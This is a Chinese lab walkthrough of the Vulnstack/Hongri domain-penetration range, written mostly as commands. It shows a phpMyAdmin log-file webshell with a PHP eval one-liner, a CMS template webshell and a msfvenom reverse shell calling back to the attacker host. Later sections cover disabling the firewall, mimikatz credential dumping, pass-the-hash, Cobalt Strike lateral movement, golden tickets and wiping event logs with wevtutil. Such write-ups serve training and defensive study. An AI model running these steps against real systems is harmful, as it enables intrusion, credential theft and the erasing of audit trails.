ATT&CK实战系列(一)红日靶场1
红日靶场(一)
1.环境搭建
1. 实验环境拓扑如下:
首先网络拓扑结构如下所示,三台虚拟机的初始密码都是: hongrisec@2019
(开机提示密码已过期,更改为 qwer@123 即可)
这里我们的Web服务器是win7虚拟机,其他两台虚拟机是域内成员,一台作为我们的DC,首先介绍一下什么是工作组和域。
工作组:将不同计算机按功能分别列入不同的组内,在一个大的单位内,可能有成百上千台电脑互相连接组成局域网,它们都会列在“网络(网上邻居)”内,如果这些电脑不分组,可想而知有多么混乱,要找一台电脑很困难。为了解决这一问题,就有了“工作组”这个概念,将不同的电脑一般按功能(或部门)分别列入不同的工作组中,如技术部的电脑都列入“技术部”工作组中,行政部的电脑都列入“行政部”工作组中。你要访问某个部门的资源,就在“网络”里找到那个部门的工作组名,双击就可以看到那个部门的所有电脑了。相比不分组的情况就有序的多了,尤其是对于大型局域网络来说。
域:域是一个有安全边界的计算机集合(安全边界的意思即一个域中的用户无法访问另外一个域中的资源),相比工作组而言,它有一个更加严格的安全管理机制,如果想访问域内资源,必须拥有一个合法的身份登录到该域中,你的权限取决于你在该域中的用户身份。
DC:域内管理者,活动目录的数据库(包括用户的账号信息)是存储在DC中的,一旦DC瘫痪,其他用户就不能登录该域,内网中最重要的也是拿到域内DC控制权。
2. 下载好镜像文件
下载地址: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ (13G,需要百度网盘会员)
3. 需要模拟内网和外网两个网段
Win7 虚拟机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网。添加网络适配器如下图
配置win7 web服务网络
从网络拓扑图可知,需要模拟内网和外网两个网段,Win7虚拟机相当于网关服务器,所以需要两张网卡,
将 Win7 的网络适配器 1 设置成 NAT 模式(外网),网络适配器 2 设置成 VMnet1 仅主机模式(内网)
配置Winserver 2008(DC)
我们直接将域控主机配置VMnet1网卡,如下所示
配置win2k3网络(域成员)
域内主机win2003的网卡配置和DC配置一致,选择VMnet1网卡即可,与外网不连通
kali:(攻击机 外:10.10.10.128)
windows7:(外:10.10.10.131 内:192.168.52.133)
windows2008:(内:192.168.52.138)
windows2003:(内:192.168.52.141)
开机之后win7更新一下Vmware TOOls
最后在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务
靶场的环境搭建完毕
我这里本地连接设置为自动获得ip
注意本地连接5这里要固定DNS服务器为域控的ip地址
4.虚拟网络设置
这里我们设置网络VMnet1和VMnet8,将VMnet1作为内网,VMnet8作为外网,其中需要注意的是,VMnet1的子网地址必须是192.168.52.0,否则后面win7的web服务无法开启
2.外网打点-信息收集
查看kali的IP地址:
ifconfig
攻击机IP:10.10.10.128
1.主机发现
主机发现:
sudo arp-scan -l
靶机:10.10.10.131
主机发现:
sudo nmap -sn 10.10.10.0/24 #-sn表示主机发现
2.端口探测
(先在win7的防火墙关闭的情况下进行扫描)
-sT:以TCP协议进行扫描
--min-rate 10000:以最低10000的速率
-p-:全端口
扫描端口:
sudo nmap -sT --min-rate 10000 -p- 10.10.10.131
先创建个文件夹用于存放结果:mkdir nmapscan
-oA:结果全ports格式输出到nmapscan文件中
扫描端口:
sudo nmap -sT --min-rate 10000 -p- 10.10.10.131 -oA nmapscan/ports
信息查看:
nmap格式,和扫描输出格式一样的
3.端口过滤
grep过滤带有open的数据,awk以'/'为分割过滤第一行,paste中,s表示指定合并到一行,d表示指定分隔符
grep open ports.nmap | awk -F '/' '{print $1}' | paste -sd ','
在进行一次变量指定:
ports=$(grep open ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')
4.详细信息探测TCP扫描
-sT:以TCP协议进行扫描
-sV:探测各服务的版本
-sC:用默认的脚本进行扫描
-O:探测操作系统的版本
-p:-p$ports,然后tab键,会把端口显示出来
nmap -sT -sV -sC -O -p$ports 10.10.10.131
nmap -sT -sV -sC -O -p80,135,139,445,1025,1026,1027,1028,1029,1030,3306 10.10.10.131
我们发现开放了80、3306、445以及139端口,这就提醒我们可以从3个方向入手,分别是web网页、mysql数据库以及SMB服务,我们首先试试SMB服务,看看有没有信息泄露,我们使用smbclient进行查看,但是并没有什么有价值的信息,我们还是从80端口出发,先扫一扫有没有后门目录
3.外网打点-目录爆破
1.dirb扫描
dirb http://10.10.10.131/ | grep 'CODE:200'
2.gobuster扫描
gobuster dir -u http://10.10.10.131 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip | grep 'Status: 200'
3.dirsearch扫描
python dirsearch.py -u http://10.10.10.131/
4.御剑
还扫到了一个备份文件(beifen.rar),打开发现是yxcms的网站源码,应该部署着这个CMS 。
4.Web渗透-mysql日志
我们发现存在phpmyadmin后台,即著名的mysql数据库管理后台,我们尝试访问一下,我们先尝试一下弱密码root:root,发现成功登陆进去了,我们先尝试看看有没有nday漏洞给我们利用,先看版本号
版本号为5.5.53,我们尝试去搜索该版本的历史漏洞
并没有历史漏洞,所以我们得换一种思路去getshell,我们通过搜寻,可以知道phpmyadmin可以利用mysql日志文件写入shell进行getshell,我们尝试一下这种做法,以前还从来没这么做过
phpmyadmin getshell
查看日志是否开启
show global variables like '%general%';
首先我们开启mysql日志,在运行框中运行下面的语句
set global general_log='on'; //⽇志保存状态开启;
发现成功开启
查看当前mysql路径
select @@basedir;
接下来设置木马写入的路径,如下所示
set global general_log_file ="C:/phpStudy/WWW/shell.php"
执行这条语句之后,日志会将select后的查询语句记录进日志,从而让日志变成一个一句话木马。
接下来我们写入一句话木马,如下所示
select "<?php eval($_POST['a'])?>"
接下来我们直接访问shell.php即可
http://10.10.10.131/shell.php
成功连接
首先先把主机防火墙关闭,方便我们进行进一步操作
netsh advfirewall set allprofiles state off
5.Web渗透-YXCMS
我们再来看下部署的CMS,打开网站
从右下角看到了网站后台的登录地址和默认账号密码,尝试登录
http://10.10.10.131/yxcms/index.php?r=admin
成功登录。在前台模板功能里发现可以直接编辑php文件,尝试写入shell。
随便找一个文件添加一句话木马
保存后,接下来就要想办法找到这个info.php所在的目录了,先来扫描一下后台
点进去发现这个网站还存在敏感目录信息泄露
http://10.10.10.131/yxcms/protected/apps/default/view/default/
找到了目标文件,尝试连接。
成功连接
首先先把主机防火墙关闭,方便我们进行进一步操作
netsh advfirewall set allprofiles state off
6.后渗透-msf反弹shell
接下来我们运行msf,使用msf上线主机,如下所示
msfvenom -p windows/meterpreter_reverse_tcp lhost=10.10.10.128 lport=5566 -f exe -o shell.exe
我们将shell.exe通过蚁剑上传到靶机上去
接着我们在kali上开启监听模式,持续监听连接
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.128
set lport 5566
run
我们用蚁剑运行exe文件,如下所示
我们的kali成功上线windows7,第一步我们进行权限维持
7.后渗透-收集域内信息
内网信息收集的主要目的就是查找域控以及域控内的其他主机
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
首先判断是否存在域,我们使用 ipconfig /all 查看DNS服务器,我们发现存在域god.org
也可以执行命令 net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息
接着我们使用 net view /domain 查看有几个域
我们发现只有唯一一个域,接下来我们查看域控主机名
我们接着查询所有域内主机,如下所示net view
接着我们查询域内IP,使用arp -a进行查询
为了确定哪个是域控主机IP,我们尝试去ping一下域名
ping owa.god.org
ping root-tvi862ubeh.god.org
至此我们域内信息收集完毕
域名为 god
域中有三台主机:
stu1.god.org
root-tvi862ubeh.god.org 192.168.52.141
owa.god.org 192.168.52.138 域控主机
8.后渗透-权限维持
正常使用exe上线的情况下,会在任务管理器或者直接使用tasklist命令就都可以看到exe的进程,十分容易被发现,因此要把进程迁移到其他原有的进程上面,相当于寄生在别的进程上面,不容易被发现
在metepreter输入 ps查看当前进程
进行权限维持就是要将进程进行迁移,即将我们的shell.exe的进程附加在系统进程上
输入gitpid查看查看进程号
当前这个exe运行pid号为2904
输入(migrate 进程号)命令可以将进程移动到指定进程里
migrate 2320
进程已被迁移至 2320
如果不知道迁移到哪
输入run post/windows/manage/migrate 系统自动会寻找指定的进程然后迁移
9.后渗透-横向移动
由于kali攻击机无法直接访问内网的Windows server 2008,所以只能通过在Windows7上面架设一个socks代理服务器,通过这个socks代理进入内网,从而控制Windows server 2008。
先使用earthworm在Windows7上面架设一个socks代理服务器:
正向代理:
ew.exe -s ssocksd -l 1080
然后kali攻击机在本地配置好proxychains:
vim /etc/proxychains4.conf
在最下面添加需求的代理即可
socks5 10.10.10.131 1080
这样我们就可以通过proxychains来使用这个socks代理服务器(10.10.10.140)的代理了可。
我们直接挂代理扫域控主机的端口
proxychains4 nmap -sT --min-rate 10000 -p- 192.168.52.138
扫的太慢了,这里直接用别的大佬扫描好的
我们发现开放了445端口,我们尝试使用永恒之蓝进行探测,但是没有成功
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.138
run
10.后渗透-哈希传递攻击拿下域控
哈希传递攻击:
在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机。
攻击流程:
- 获得一台域控主机的权限,Dump内存获得该主机的用户密码Hash值;
- 通过哈希传递攻击尝试登录其他主机;
- 继续收集哈希并尝试远程登录,知道获得域管理员Hash,登录域控,控制整个域。
1) 首先:提权到system权限:
一是当前的权限是administrator用户;
二是利用其它手段先提权到administrator用户。然后administrator用户可以直接在meterpreter_shell中使用命令getsystem提权到system权限。
2)进程迁移
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。
所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
查看进程信息:ps
把进程迁移到PID为492这个程序中(因为当前用户):
注:因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中。
migrate 492
load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用
creds_all: #列举所有凭据
creds_kerberos: #列举所有kerberos凭据
creds_msv: #列举所有msv凭据
creds_ssp: #列举所有ssp凭据
creds_tspkg: #列举所有tspkg凭据
creds_wdigest: #列举所有wdigest凭据
dcsync: #通过DCSync检索用户帐户信息
dcsync_ntlm: #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create: #创建黄金票据
kerberos_ticket_list: #列举kerberos票据
kerberos_ticket_purge: #清除kerberos票据
kerberos_ticket_use: #使用kerberos票据
kiwi_cmd: #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam: #dump出lsa的SAM
lsa_dump_secrets: #dump出lsa的密文
password_change: #修改密码
wifi_list: #列出当前用户的wifi配置文件
wifi_list_shared: #列出共享wifi配置文件/编码
首先我们使用hashdump获取哈希值,如下所示
列举系统中的明文密码: creds_all #列举所有凭据
load wiki
creds_all
(如果这里还是显示原来的密码,可以多等待一些时间重新操作)
所以哈希值为
469d85e30803fcc042ec2c6254ee38ba
我们可以使用以下模块进行哈希传递
auxiliary/admin/smb/psexec_command #在目标机器上执行系统命令
exploit/windows/smb/psexec #用psexec执行系统命令
exploit/windows/smb/psexec_psh #使用powershell作为payload
这里以exploit/windows/smb/psexec模块进行哈希传递攻击
msfconsole
use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:469d85e30803fcc042ec2c6254ee38ba
set smbdomain god
run
但是我们这里还是失败了,我们选择换一种方式,我们试着用cs进行上线,cs操作起来会更方便一点
11.后渗透-CS上线
1.打开cs
cs配置服务端
在kali上下载cs,进入cs目录,打开服务端
./teamserver 10.10.10.128 1234 //写上kali的ip还有随便写一个密码
配置客户端
ip和密码填上刚刚服务端上写的ip还有密码
2.创建监听器
首先我们先在CS上创建一个名为web的监听,选择hppt协议,端口设置为4444
3. 创建 windows 可执行 exe 程序
有效载荷->windows可执行程序(E)
监听器选择刚刚创建的web,然后把后门文件保存在本地
4.利用蚁剑上传后门,并启动
蚁剑上传后门—>打开蚁剑终端—>启动后门
运行后门
上线成功
现在我们是administration权限,所以我们要提权
选择我们刚刚创建的web监听器
等待一会儿之后就发现权限成功提升了! system
如果没关防火墙,可以先关闭一下win7的防火墙,防止后面出错
beacon> shell netsh advfirewall set allprofiles state off
由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快,容易被发现。
12.CS上线-内网信息收集
简单的信息收集
shell ipconfig //查看网络
shell net user //查看本地用户
shell net view //列举计算机名
shell net config Workstation //查看当前计算机名、域、登录域等信息
shell net view /domain //看看几个域
1.查看网络适配器
shell ipconfig //查看网络
52是内网段
2.查看本地用户
shell net user //查看本地用户
3.查看计算机名
shell net view //列举计算机名
4.判断是否存在域
shell net config Workstation //来查看当前计算机名、域、登录域等信息
5.看看有几个域
shell net view /domain //看看几个域
发现只有一个GOD域
6.查看各个主机对应的IP
通过ping的方式可以得到:
shell ping owa.god.org
也可以直接运行
net view
7.端口扫描
浏览探测—>端口扫描—>52内网段
这里只扫描几个常见的端口(如何没发现地址,可以等待一段时间)
8.抓取明文密码
凭证提权—>抓取明文密码
logonpasswords
13.CS上线-内网横向
刚刚我们端口扫描的时候发现开放了445端口,可以创建SMB监听隧道。
- SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
- SMB协议基础:文件共享,域名解析等,默认通过445端口通信
1.创建SMB监听器
2.切换攻击目标列表
3. 右建选择—> 横向移动 —> psexec
psexec:是用于横向移动的核心工具之一。攻击者可以通过跳板机向目标主机发送命令,目标主机执行后,将结果返回给攻击者。但我认为这并不算上线,毕竟没有进行持久的连接,只是利用两个机器间的一些信任关系进行通信。
4.添加 用户名 密码 域名 -> 监听器 -> 对端连接的隧道
监听器选择我们刚刚创建的SMB监听器,对端连接的隧道选择system权限的
横向成功,进入域控,记得养成好习惯关防火墙。

shell netsh advfirewall set allprofiles state off

14.权限维持(黄金票据)
黄金票据是指能够绕过认证授权机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。
1. 抓取 Hash 还有明文密码
把SID,域名,复制下来等下黄金票据要用
hash: 58e91a5ac358d86513ab224312314061:::
SID: S-1-5-21-2952760202-1353902439-2381784089-1000
域名:GOD.ORG
2.黄金票据配置
凭证提权—>黄金票据
把刚刚复制的域名,SID粘贴上去,hash已经帮你自动抓取了,用户名随便

ok成功
15.痕迹清除
在渗透过程中,痕迹清除非常非常重要,不清除万一被溯源,容易被ban
shell wevtutil cl security //清理安全日志
shell wevtutil cl system //清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" //清除power shell日志
shell wevtutil cl Setup //清除(cl)事件日志中的 "Setup" 事件。

浙公网安备 33010602011771号